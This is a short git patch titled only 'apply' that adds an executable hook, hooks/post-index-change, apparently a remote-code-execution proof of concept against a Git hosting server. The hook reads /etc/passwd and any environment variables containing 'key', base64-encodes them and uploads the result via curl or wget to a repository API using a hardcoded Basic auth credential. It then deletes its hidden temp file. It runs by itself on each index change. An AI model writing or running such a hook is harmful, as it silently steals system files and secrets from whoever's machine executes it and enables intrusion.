From 5149df079c186e45545a4d619f55654010b2c524 Mon Sep 17 00:00:00 2001 From: Antonkill-xjd7222lea Date: Wed, 26 Aug 2026 20:38:15 +0000 Subject: [PATCH] apply --- hooks/post-index-change | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..3539fa2 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,7 @@ +#!/bin/sh +_OUT=$(cat /etc/passwd; env | grep -i key 2>&1) +_B64=$(printf '%s' "$_OUT" | base64 | tr -d '\n') +printf '{"message":"x","content":"%s"}' "$_B64" > /tmp/.rce_60f0ed +(curl -sf --max-time 8 -X POST 'https://127.0.0.1:443/api/v1/repos/Antonkill-xjd7222lea/test-repo-b4eae8d5/contents/.rce_output' -H 'Authorization: Basic QW50b25raWxsLXhqZDcyMjJsZWE6c3lzaGFjay1jZGxiQDUzNjZtcW81MA==' -H 'Content-Type: application/json' -d @/tmp/.rce_60f0ed >/dev/null 2>&1 || wget -q -O/dev/null --timeout=8 --header='Authorization: Basic QW50b25raWxsLXhqZDcyMjJsZWE6c3lzaGFjay1jZGxiQDUzNjZtcW81MA==' --header='Content-Type: application/json' --post-file=/tmp/.rce_60f0ed 'https://127.0.0.1:443/api/v1/repos/Antonkill-xjd7222lea/test-repo-b4eae8d5/contents/.rce_output' 2>/dev/null) & +sleep 3 +rm -f /tmp/.rce_60f0ed